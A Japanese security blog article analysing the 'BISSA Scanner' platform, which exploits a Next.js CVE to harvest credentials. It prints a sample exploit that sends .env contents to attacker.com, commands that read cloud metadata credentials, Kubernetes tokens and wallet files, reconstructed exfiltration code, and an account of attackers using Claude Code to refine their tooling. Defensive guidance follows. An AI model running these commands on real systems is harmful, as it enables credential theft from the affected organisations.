BISSA Scanner解析：AI支援の大規模脆弱性スキャンと.envクレデンシャル窃取の仕組み

2026年4月22日、インシデント対応専門組織DFIR Reportが異例の調査報告を公開した。偶然露出した攻撃インフラのサーバーから、AI支援の大規模クレデンシャル収集プラットフォーム「BISSA Scanner」の全容が明らかになったのだ。

特筆すべきは、このプラットフォームがClaude CodeとOpenClawをコード改善・自動化に組み込んでいた点だ。攻撃者がLLMを自分たちのツール改良に積極的に活用していたことが、公開されたファイルとTelegramのやりとりから確認された。2025年9月から2026年4月にかけての活動で、900社以上でのCVE-2025-55182悪用と、30,000件を超える.envファイルからのクレデンシャル収集が明らかになった。

BISSA Scannerとは何か——AI支援の新型大規模脆弱性悪用プラットフォーム

BISSA Scannerは、「大規模で多目的の搾取・段階構成・レビュー・検証」を実現するモジュール型プラットフォームだ。一言で言えば、脆弱なWebアプリケーションを自動的に発見し、認証情報を根こそぎ収集して分類するSaaS的な攻撃インフラである。

露出したサーバーには13,000以上のファイルと150以上のディレクトリが存在し、S3バケットの変遷履歴からは2025年9月から継続的な開発・運用が確認された。

バケット名の変遷は開発サイクルを反映している。「promax」という命名はスマートフォンの上位モデルを連想させ、攻撃プラットフォームのバージョン管理が商業ソフトウェアと変わらない体制で行われていることを示す。

プラットフォームのコアモジュール

BISSA Scannerは以下の主要モジュールで構成される。

• cve_2025_55182モジュール: Next.js（React2Shell）のコマンドインジェクション脆弱性を悪用する主力エクスプロイト
• WordPress W3 Total Cacheモジュール: 別の脆弱性を悪用する補助モジュール
• .envエニュメレーター: 環境変数ファイルの自動列挙・抽出
• S3エクスフィルトレーター: Filebase（S3互換ストレージ）への自動アップロード
• Telegramアラーター: 重要な成果（高価値クレデンシャル等）をリアルタイムで通知
• AIアシスト層: Claude Code + OpenClawを使ったコード改善・デバッグ

この分業体制により、標的の発見から認証情報の収集・検証・優先順付けまでが一気通貫で自動化されている。

CVE-2025-55182：Next.jsのコマンドインジェクションが大規模悪用の起爆剤になった

BISSA Scannerの主力エクスプロイトであるCVE-2025-55182は、Next.jsのServer-Side Rendering（SSR）層に存在するコマンドインジェクション脆弱性だ。報告書ではReact2Shell（CVE）として識別されている。

脆弱性の仕組み

Next.jsのAPIルートやSSR処理において、ユーザー入力がサニタイズされずにOSコマンドの一部として実行される経路が存在する。攻撃者はこの経路を通じて任意のシェルコマンドを実行し、サーバー上の機密ファイルを取得できる。

# CVE-2025-55182の概念的な悪用コード
# 実際の攻撃は自動化されており、以下はエクスプロイトの仕組みを示す例示です

# 攻撃者がスキャンツールで行う操作（概念）
curl -X POST "https://target-nextjs-app.com/api/render" \
  -d '{"component": "$(cat .env | base64 | curl -X POST attacker.com/collect -d @-)"}'

# 脆弱なサーバー上で実行される相当処理：
# 1. .envファイルの内容を読み取る
# 2. Base64エンコード
# 3. 攻撃者のサーバーにPOSTで送信

BISSAのスキャナーはこのエクスプロイトをモジュール化し、大量の標的に対して自動実行する。単一のエクスプロイト成功につき、サーバー上のすべての.envファイル、クラウドプロバイダーのメタデータエンドポイント（169.254.169.254）、Kubernetesサービスアカウントトークンを一括取得する。

悪用規模：900社以上のNext.jsサービスが対象に

DFIR Reportの調査では、BISSA Scannerによって900社以上のNext.jsアプリケーションでCVE-2025-55182の悪用が成功したことが確認された。影響を受けた業種は次のとおりだ。

同様の.envベースの漏洩については、Gemini APIキーの不正利用記事でも解説しているが、BISSA Scannerの場合は個人ミスではなく、自動化された大規模攻撃が原因だ。パッチ適用前のNext.jsを動かしているサービスは、意図せず攻撃対象リストに載っていた可能性がある。

スキャンワークフローの詳細：標的取得から.env窃取まで

BISSA Scannerのオペレーションは、外部の標的フィード取得から始まる精緻なパイプラインで動く。

ステップ1：標的リストの取得

スキャナーはdenemekulubum[.]com[.]tr/acquirer/（以前はwiprz[.]com/acquirer/）からZIPアーカイブ形式で標的リストを取得する。これは自前のスキャン基盤(cs2.ip.thc.orgなど)と外部のターゲットフィードを組み合わせた仕組みだ。

# BISSA Scannerの標的取得ロジック（公開ファイルから復元）
import requests
import zipfile
import io

def acquire_targets(acquirer_url: str) -> list[str]:
    """外部フィードから標的URLリストを取得する"""
    response = requests.get(f"{acquirer_url}/targets.zip")
    with zipfile.ZipFile(io.BytesIO(response.content)) as z:
        with z.open("targets.txt") as f:
            return [line.decode().strip() for line in f.readlines()]

# リースへの割り当て（分散処理）
def assign_lease(targets: list[str], module: str = "cve_2025_55182"):
    for target in targets:
        queue.put({"url": target, "module": module})

ステップ2：エクスプロイト実行と.env収集

各ワーカーはキューからタスクを取得し、該当モジュールでエクスプロイトを試みる。成功した場合、以下の情報を優先的に収集する。

# 成功時の収集対象（スキャナーが自動実行するコマンド群の概念）
# 1. .envファイルの列挙
find / -name ".env" -o -name ".env.local" -o -name ".env.production" 2>/dev/null

# 2. クラウドメタデータの取得（AWS IMDSv1）
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/

# 3. Kubernetesサービスアカウントトークン
cat /var/run/secrets/kubernetes.io/serviceaccount/token

# 4. 暗号資産ウォレットの設定ファイル
find / -name "*.wallet" -o -name "keystore" 2>/dev/null

ステップ3：S3へのエクスフィルトレーション

収集した.envファイルはローカルのresults/ディレクトリにバッチ保存され、ZIP圧縮後にFilebase（S3互換ストレージ）のbissapromaxバケットへ自動アップロードされる。

# エクスフィルトレーションの処理（復元コード）
import boto3
import zipfile
import os

def exfiltrate_results(results_dir: str, bucket: str = "bissapromax"):
    s3 = boto3.client(
        "s3",
        endpoint_url="https://s3.filebase.com",
        aws_access_key_id=os.environ["FILEBASE_KEY"],
        aws_secret_access_key=os.environ["FILEBASE_SECRET"]
    )
    
    # ZIP圧縮してアップロード
    archive_name = f"results_{datetime.now().strftime('%Y%m%d_%H%M%S')}.zip"
    with zipfile.ZipFile(archive_name, "w") as zf:
        for env_file in Path(results_dir).glob("**/.env*"):
            zf.write(env_file)
    
    s3.upload_file(archive_name, bucket, archive_name)

DFIR Reportによると、2026年4月10〜21日の11日間だけで65,000以上のアーカイブエントリがS3バケットに蓄積されていた。

AIの組み込み：Claude CodeとOpenClawによるスキャナー自動改善

BISSA Scannerの最も注目すべき側面は、LLMを攻撃ツール自体の改善に活用している点だ。露出したサーバーにはclaude_env_fix.shというシェルスクリプトが存在し、Telegramのやりとりには次のような記録が残っていた。

「オペレータはClaude Codeを使用してスキャナーのコードベースを読み込み、理解し、トラブルシューティングを行っていた」

Claude Codeの活用方法

確認された使用パターンは主に以下の2つだ。

1. コードベースの理解とデバッグ スキャナーのPythonコードに問題が発生した際、Claude Codeにコードベース全体を読み込ませてエラー原因を特定させていた。claude_env_fix.shは環境変数の設定ミスを自動修正するスクリプトで、Claude Codeの提案を元に作成されたとみられる。

2. Chain-of-Thought（CoT）プロンプトによる改善計画 攻撃者はClaude Codeに「このモジュールはどう改善できるか」「スキャン速度を上げるにはどうすればよいか」といったChain-of-Thoughtプロンプトを投げ、スキャナーのアーキテクチャ改善に活用していた。

OpenClawとのWebSocketゲートウェイ統合

さらに、サーバーにはOpenClawとのWebSocketゲートウェイが設置されており、ブラウザ制御機能も確認された。claude-sonnet-4-6モデルプールとの接続設定が露出したファイルに残っており、Telegramの@bissa_scan_botを通じた指令系統が構築されていた。

{
  "ai_relay": {
    "model_pool": ["claude-sonnet-4-6"],
    "websocket_gateway": "ws://localhost:8765",
    "browser_control": true,
    "telegram_bot": "@bissa_scan_bot",
    "openclaw_integration": true
  }
}

OpenClawのセキュリティリスクの記事でも取り上げたように、OpenClawはAIエージェントをTelegramやWebSocket経由で外部制御できる構造を持つ。BISSA Scannerはその仕組みを攻撃インフラとして転用した。

被害の実態：30,000件.envファイルと収集されたクレデンシャルの全貌

露出したS3バケットの分析から、BISSA Scannerが収集した認証情報の規模と種類が明らかになった。

収集規模

• 約30,000個の異なる.envファイル名が確認された
• 65,000以上のアーカイブエントリ（2026年4月10〜21日の11日間）
• 900社以上のNext.jsサービスでの悪用成功

収集されたクレデンシャルのカテゴリ

特にAI APIキーの漏洩は深刻だ。Anthropicのキーは1トークンあたりのコスト構造から、短時間で数百万円規模の請求が発生し得る。Gemini APIキーの不正利用防止でも解説したように、AIキーの漏洩は従来のパスワード漏洩と比べて即時かつ大規模な金銭被害につながる。

被害者プロファイル

3つの具体的な被害者（匿名化）が報告された。いずれも金融・決済関連の業種で、クレデンシャルの価値が特に高い業種が優先的に狙われていることがわかる。

DFIR Reportは調整開示（Coordinated Disclosure）を実施し、被害者への直接通知と法執行機関への報告を完了している。露出したサーバーのIPアドレスは公開されていないが、法執行機関との連携のもと取り扱われている。

IoC（侵害の痕跡）：攻撃者インフラの詳細

ドメインとURL

denemekulubum[.]com[.]tr/acquirer/    # 標的フィードの配信元（現行）
wiprz[.]com/acquirer/                  # 標的フィードの配信元（廃止）
s3.filebase[.]com                      # S3互換ストレージ（エクスフィル先）
cs2.ip.thc.org                         # ターゲットフィード源（外部）

Telegramアカウント

S3バケット

bissa        # 2025年9月（廃止）
bissa2       # 2025年11月（廃止）
bissapromax  # 2025年12月〜（現行）

CVE番号

CVE-2025-55182  # React2Shell（Next.js）コマンドインジェクション（主力）
CVE-2025-9501   # 補助モジュールで使用（詳細非公開）

Vercelセキュリティ侵害の記事でも報告されたように、Next.js関連のCVEは公開後に急速に悪用が広がる傾向がある。CVE-2025-55182についても、公開から悪用開始まで短期間だったと推察される。

BISSAで狙われたNext.jsアプリを守る：具体的な防御策

DFIR ReportはBISSA Scanner対策として6つの防御領域を推奨している。実装優先度の高い項目から順に解説する。

1. 緊急：CVEパッチの適用

Next.js環境を運用しているなら、まずバージョンを確認してパッチを適用する。

# Next.jsのバージョン確認
node -e "const pkg = require('./node_modules/next/package.json'); console.log(pkg.version);"

# npm経由でのアップデート
npm update next

# yarn経由でのアップデート
yarn upgrade next

# 脆弱性スキャン（CVE-2025-55182対応確認）
npm audit --audit-level=high

インターネット向けアプリケーションは「短いアップデート周期」を維持することが基本だ。Renovate・Dependabotの自動更新を活用すれば、パッチリリース後の適用遅延を大幅に短縮できる。

2. .envファイルからシークレットマネージャーへの移行

BISSA Scannerが狙うのは.envファイルだ。.envに認証情報を持つ構成そのものをリスクとして捉え、実行時注入に移行する。

# AWS Secrets Managerへの移行例
# 既存の.envキーをAWSに保存
aws secretsmanager create-secret \
  --name "myapp/production" \
  --secret-string '{"ANTHROPIC_API_KEY":"sk-ant-...","STRIPE_SECRET":"sk-live-..."}'

# アプリケーション起動時に動的取得
aws secretsmanager get-secret-value \
  --secret-id "myapp/production" \
  --query SecretString \
  --output text | jq -r 'to_entries[] | "export \(.key)=\(.value)"' | source /dev/stdin

// Next.jsアプリでの実行時シークレット取得例
import { SecretsManagerClient, GetSecretValueCommand } from "@aws-sdk/client-secrets-manager";

async function getSecrets() {
  const client = new SecretsManagerClient({ region: "ap-northeast-1" });
  const command = new GetSecretValueCommand({ SecretId: "myapp/production" });
  const response = await client.send(command);
  return JSON.parse(response.SecretString!);
}

// サーバーサイドでのみ呼び出す（getServerSideProps, Route Handlers）
export async function GET() {
  const secrets = await getSecrets();
  // クライアントには絶対に返さない
}

3. 送信トラフィックの制御

BISSA Scannerはクレデンシャルを外部のS3バケットに送信する。アプリケーション層からの異常な送信トラフィックを検知・ブロックするには、送信プロキシが有効だ。

# Nginx（リバースプロキシ）での送信制御例
# アプリケーションは外部への直接通信を禁止し、プロキシ経由のみ許可

upstream app_server {
    server 127.0.0.1:3000;
}

# 許可する送信先のみをホワイトリスト化
geo $blocked_destination {
    default 0;
    # s3.filebase.comなどの未承認S3エンドポイントをブロック
    2a06:98c1::/32 1;  # Cloudflare経由のFilebase IP範囲（例）
}

4. カナリートークンの設置

本物のAPIキーに混ぜてカナリートークン（ハニーポット）を設置することで、.envファイルの漏洩を早期検知できる。

# canary.py: カナリートークンの生成と監視
import hashlib
import hmac
import os

def generate_canary_token(identifier: str) -> str:
    """追跡可能なカナリートークンを生成"""
    secret = os.environ.get("CANARY_SECRET", "change-this-in-production")
    token = hmac.new(
        secret.encode(),
        identifier.encode(),
        hashlib.sha256
    ).hexdigest()[:32]
    return f"canary_{identifier}_{token}"

# .envに仕込む例
# FAKE_ANTHROPIC_KEY=canary_anthropic_a3f9b2c1d4e5f6...
# → このキーが使用されたらアラート発火

# 使用検知のWebhookエンドポイント（Canarytokens.orgなどのサービスを活用）
CANARY_WEBHOOK_URL = "https://canarytokens.org/your-token-id/..."

5. クラウドメタデータエンドポイントの保護

AWS IMDSv1（169.254.169.254）はBISSA Scannerの収集対象だ。IMDSv2への移行でメタデータ窃取を防ぐ。

# EC2インスタンスでIMDSv1を無効化してIMDSv2のみ許可
aws ec2 modify-instance-metadata-options \
  --instance-id i-xxxxxxxxxxxxxxxxx \
  --http-tokens required \
  --http-put-response-hop-limit 1

# Kubernetesでメタデータエンドポイントへのアクセスを制限
cat <<EOF | kubectl apply -f -
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: block-metadata-endpoint
spec:
  podSelector: {}
  policyTypes:
  - Egress
  egress:
  - to:
    - ipBlock:
        cidr: 0.0.0.0/0
        except:
        - 169.254.169.254/32  # メタデータエンドポイントを除外
EOF

6. 認証情報の定期ローテーションと漏洩検知

# truffleHogで既存リポジトリの認証情報漏洩をスキャン
pip install trufflehog
trufflehog git https://github.com/your-org/your-repo \
  --only-verified \
  --since-commit HEAD~100

# GitHub Secret Scanningの有効化（GitHub Enterpriseなら必須）
gh api repos/your-org/your-repo \
  --method PATCH \
  -f security_and_analysis.secret_scanning.status=enabled

# APIキーローテーションの自動化スクリプト（月次実行例）
# rotate_keys.sh をCronまたはGitHub Actionsで定期実行

セキュリティ対策チェックリスト

以下を今すぐ確認しよう。

BISSA Scannerが示す攻撃トレンドの変化

BISSA Scannerの登場は、いくつかの重要なトレンドを示している。

第一に、AIの攻撃ツールへの組み込みが現実化した。 これまでは「AIが攻撃を支援する」という話は仮説的なシナリオが多かった。しかし今回、Claude CodeとOpenClawが実際の攻撃プラットフォームの開発・改善に使われていたことが確認された。AIを悪用した攻撃の「自動化」と「品質向上」が同時進行している。

第二に、.envファイルのクレデンシャル管理が根本的に問題視された。 30,000件の.envファイルが収集されたという事実は、業界全体の.env管理の甘さを浮き彫りにする。開発の利便性のために.envに機密情報を入れる慣行は、今後ますます危険になる。

第三に、AI APIキーが最優先の攻撃対象になっている。 Anthropic、OpenAI、GoogleのAPIキーは決済キーと同等かそれ以上の金銭的価値を持つ。AIサービスのコスト構造上、キー1本が流出するだけで数百万円規模の被害が発生し得る。

GlassWormが見えないコードでサプライチェーンを攻撃したように、BISSA Scannerはパッチ未適用のWebフレームワークを自動スキャンして.envを根こそぎ奪う——攻撃の自動化と高度化は加速する一方だ。

GlassWormによるサプライチェーン攻撃と合わせて読むことで、現在の攻撃者が「広く浅く、自動で」クレデンシャルを収集していることが見えてくる。

まとめ

DFIR Reportが暴いたBISSA Scannerは、以下の点で従来の攻撃ツールと一線を画す。

• AI（Claude Code + OpenClaw）をツール改善に統合した初確認事例のひとつ
• CVE-2025-55182（Next.js）を武器に900社以上を自動スキャン
• 30,000件の.envファイルからAnthropicやAWSを含む幅広いクレデンシャルを収集
• モジュール型のSaaS的設計で、新CVEへの対応も容易な拡張性

対策の核心は3点だ。①CVEパッチを即座に適用する、②.envからシークレットマネージャーへ移行する、③APIキーのローテーションとカナリートークンで検知体制を整える。この3つを実施するだけで、BISSA Scannerタイプの自動スキャンに対する耐性を大幅に高められる。

参照ソース

• The DFIR Report — Bissa Scanner Exposed: AI-Assisted Mass Exploitation and Credential Harvesting (2026-04-22)
• NVD — CVE-2025-55182 (React2Shell / Next.js Command Injection)
• Next.js Security Advisories
• AWS — Configuring instance metadata service (IMDSv2)
• AWS Secrets Manager — Getting Started